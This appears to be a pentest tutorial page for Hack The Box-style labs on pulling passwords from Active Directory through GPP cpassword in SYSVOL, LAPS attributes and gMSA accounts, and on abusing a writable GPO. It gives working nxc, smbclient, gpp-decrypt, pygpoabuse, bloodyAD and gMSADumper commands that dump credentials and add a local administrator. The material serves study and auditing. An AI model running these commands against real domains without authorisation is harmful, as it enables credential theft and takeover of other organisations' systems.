Passwords in Active Directory: GPP (Groups.xml), LAPS and gMSA
Three places where the domain itself stores passwords you can read: cpassword in Groups.xml, the LAPS local admin password and the hash of gMSA accounts.
Active Directory has three mechanisms meant to manage passwords that, when misconfigured or with just the right permissions, hand them to you in clear text. All three come up again and again on Hack The Box and in real audits, and all of them take a couple of minutes to check as soon as you have a domain user (or, for GPP, sometimes without one).
| Mechanism | What it stores | Who can read it |
|---|---|---|
| GPP (Group Policy Preferences) | Passwords in XML inside SYSVOL, encrypted with a public key | Any domain user |
| LAPS | Each computer's local administrator password | Whoever has read permission on the attribute |
| gMSA | The password of a managed service account | Whoever is in PrincipalsAllowedToRetrieveManagedPassword |
GPP: cpassword in Groups.xml
Until 2014 group policies could set passwords (for local admins, services or scheduled tasks). They were stored in SYSVOL encrypted with AES, but Microsoft published the key. The MS14-025 patch prevents creating new ones, but it does not delete the ones that already exist.
# look for the cpassword attribute in SYSVOL
nxc smb 10.10.10.100 -u user -p 'Pass' -M gpp_password
# or by hand
smbclient //10.10.10.100/SYSVOL -U user
smb: \> recurse ON; prompt OFF; mget *
grep -ri cpassword .
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
Check Groups.xml, Services.xml, ScheduledTasks.xml, DataSources.xml and Drives.xml. Sometimes the Replication share (a copy of SYSVOL) is readable without authentication, as on Active.
Tip
Also look at the scripts in SYSVOL and NETLOGON (.bat, .ps1, .vbs): they are not GPP, but admins leave passwords in them all the time.
If you can edit a GPO
If BloodHound shows you have GenericWrite or WriteDacl over a GPO, there is no password to read but something better: you can add a scheduled task that runs as SYSTEM on every computer the GPO applies to.
python3 pygpoabuse.py corp.local/user:'Pass' -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" -command 'net localgroup administrators user /add' -f
On Windows, SharpGPOAbuse.exe --AddLocalAdmin --UserAccount user --GPOName "Name". Force it with gpupdate /force if you have a shell, or wait about 90 minutes. It is the privesc on TheFrizz and Office.
LAPS: the local administrator password
LAPS rotates each computer's local administrator password and stores it in an attribute of the computer object in AD: ms-Mcs-AdmPwd (legacy LAPS) or msLAPS-Password / msLAPS-EncryptedPassword (Windows LAPS, since 2023). If your user can read it, you are admin on that computer.
# is there LAPS and who can read it?
nxc ldap 10.10.10.100 -u user -p 'Pass' -M laps
bloodyAD -d corp.local -u user -p 'Pass' --host 10.10.10.100 get search \
--filter '(ms-Mcs-AdmPwd=*)' --attr ms-Mcs-AdmPwd
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Select Name, ms-Mcs-AdmPwd
Get-LapsADPassword -Identity DC01 -AsPlainText # Windows LAPS
In BloodHound it shows up as the ReadLAPSPassword edge. If you do not have it, find who does: it is usually a group like "LAPS_Readers" or "Helpdesk", and getting into it may be a matter of abusing an ACL. With the password, log in as administrator with evil-winrm or psexec (Timelapse, StreamIO).
gMSA: group managed service accounts
A Group Managed Service Account has a random 240-byte password that the domain rotates by itself. Impossible to crack, but authorised computers or users can ask the domain controller for it, and the NT hash is derived from it.
# which gMSAs exist and who can read them?
nxc ldap 10.10.10.100 -u user -p 'Pass' --gmsa
# with permission: returns the account's NT hash
python3 gMSADumper.py -u user -p 'Pass' -d corp.local
bloodyAD -d corp.local -u user -p 'Pass' --host 10.10.10.100 get object 'svc_web$' --attr msDS-ManagedPassword
In BloodHound, the edge is called ReadGMSAPassword. With the gMSA account's hash you pass the hash and check what privileges it has: being service accounts, they often have delegation or rights over other objects.
Note
If you are not on the list, find who is: it is almost always a group, and getting into it is usually a matter of another ACL (AddSelf, GenericAll). With WriteDacl over the gMSA itself you can also add yourself to the msDS-GroupMSAMembership attribute. It is a very common chain: Intelligence, Tombwatcher or Vintage.
On the checklist
These three checks go right after Active Directory enumeration and Kerberoasting. They are all on the Active Directory checklist.